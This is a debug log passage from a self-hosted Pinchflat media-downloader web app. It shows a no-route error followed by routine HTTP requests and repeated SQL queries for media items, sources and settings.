%Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140051.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/sync_files_on_disk", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47144}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", (truncated) 06:03:19.855 [info] GET /sources/31/media/90767/edit 06:03:19.855 [info] GET /sources/31 06:03:19.855 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"delete_files" => "true", "id" => "31"} Pipelines: [:browser] 06:03:19.855 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "90767", "source_id" => "31"} Pipelines: [:browser] 06:03:19.857 [debug] QUERY OK source="media_items" db=0.8ms idle=112.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90767] 06:03:19.857 [debug] QUERY OK source="sources" db=0.8ms idle=52.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:19.858 [debug] QUERY OK source="settings" db=0.7ms idle=20.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.858 [debug] QUERY OK source="media_profiles" db=1.1ms idle=53.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:19.859 [debug] QUERY OK source="settings" db=0.7ms idle=20.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.860 [debug] QUERY OK source="tasks" db=1.1ms queue=0.1ms idle=2.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [31, "executing", "available", "scheduled", "retryable"] 06:03:19.860 [debug] QUERY OK source="settings" db=0.6ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.861 [debug] QUERY OK source="oban_jobs" db=0.8ms idle=2.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7287] 06:03:19.862 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.862 [debug] QUERY OK source="settings" db=0.2ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.863 [info] Sent 200 in 7ms 06:03:19.863 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.866 [debug] QUERY OK source="sources" db=0.4ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:19.868 [debug] QUERY OK source="media_items" db=1.2ms idle=5.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [31] 06:03:19.869 [debug] QUERY OK source="media_items" db=1.2ms idle=6.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 06:03:19.871 [debug] QUERY OK source="sources" db=0.2ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:19.871 [debug] QUERY OK source="media_items" db=0.2ms idle=7.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [31] 06:03:19.873 [debug] QUERY OK source="media_items" db=1.0ms idle=5.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 06:03:19.874 [info] GET /sources/31/media/141299/edit 06:03:19.874 [info] GET /sources/31/media/90892/edit 06:03:19.874 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "90892", "source_id" => "31"} Pipelines: [:browser] 06:03:19.874 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "141299", "source_id" => "31"} Pipelines: [:browser] 06:03:19.874 [debug] QUERY OK source="sources" db=0.2ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:19.875 [debug] QUERY OK source="media_items" db=1.0ms idle=3.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90892] 06:03:19.875 [debug] QUERY OK source="media_items" db=1.1ms idle=4.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141299] 06:03:19.876 [debug] QUERY OK source="settings" db=0.2ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.876 [debug] QUERY OK source="settings" db=0.3ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.876 [debug] QUERY OK source="media_items" db=2.0ms idle=2.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [31] 06:03:19.877 [debug] QUERY OK source="settings" db=0.5ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.877 [debug] QUERY OK source="settings" db=0.6ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.878 [debug] QUERY OK source="settings" db=0.6ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.878 [debug] QUERY OK source="settings" db=0.5ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.879 [debug] QUERY OK source="media_items" db=2.1ms idle=0.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 06:03:19.879 [info] Sent 200 in 5ms 06:03:19.879 [info] Sent 200 in 5ms 06:03:19.880 [info] Sent 200 in 25ms 06:03:19.888 [info] GET /sources/31/media/141080/edit 06:03:19.888 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "141080", "source_id" => "31"} Pipelines: [:browser] 06:03:19.888 [debug] QUERY OK source="media_items" db=0.1ms idle=11.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141080] 06:03:19.889 [debug] QUERY OK source="settings" db=0.1ms idle=11.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.889 [debug] QUERY OK source="settings" db=0.0ms idle=10.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.889 [debug] QUERY OK source="settings" db=0.0ms idle=11.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.890 [info] Sent 200 in 2ms 06:03:19.890 [info] GET /sources/31/media/140859 06:03:19.890 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "140859", "source_id" => "31"} Pipelines: [:browser] 06:03:19.891 [debug] QUERY OK source="media_items" db=0.1ms idle=11.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [140859] 06:03:19.891 [debug] QUERY OK source="tasks" db=0.2ms idle=2.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [140859] 06:03:19.891 [debug] QUERY OK source="sources" db=0.3ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:19.892 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=2.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7229] 06:03:19.892 [debug] QUERY OK source="settings" db=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.892 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.893 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.894 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:19.895 [info] Sent 200 in 5ms 06:03:19.929 [info] GET /sources/31/media/140639/edit 06:03:19.929 [info] GET /sources/31/media/140207 06:03:19.929 [info] GET /sources/31/media/140639 06:03:19.929 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "140207", "source_id" => "31"} Pipelines: [:browser] 06:03:19.929 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "140639", "source_id" => "31"} Pipelines: [:browser] 06:03:19.929 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "140639", "source_id" => "31"} Pipelines: [:browser] 06:03:19.929 [info] GET /sources/31/media/140859/edit 06:03:19.929 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "140859", "source_id" => "31"} Pipelines: [:browser] 06:03:19.930 [debug] QUERY OK source="media_items" db=0.8ms idle=37.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [140207] 06:03:19.930 [debug] QUERY OK source="media_items" db=0.9ms idle=37.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [140639] 06:03:19.930 [debug] QUERY OK source="media_items" db=0.8ms idle=36.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [140859] 06:03:19.930 [debug] QUERY OK source="media_items" db=0.9ms idle=37.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [140639] 06:03:19.931 [debug] QUERY OK source="tasks" db=0.6ms queue=0.2ms idle=36.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [140207] 06:03:19.931 [debug] QUERY OK source="tasks" db=0.7ms queue=0.1ms idle=0.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [140639] 06:03:19.932 [debug] QUERY OK source="sources" db=1.0ms idle=0.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:19.932 [debug] QUERY OK source="sources" db=1.0ms idle=0.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", 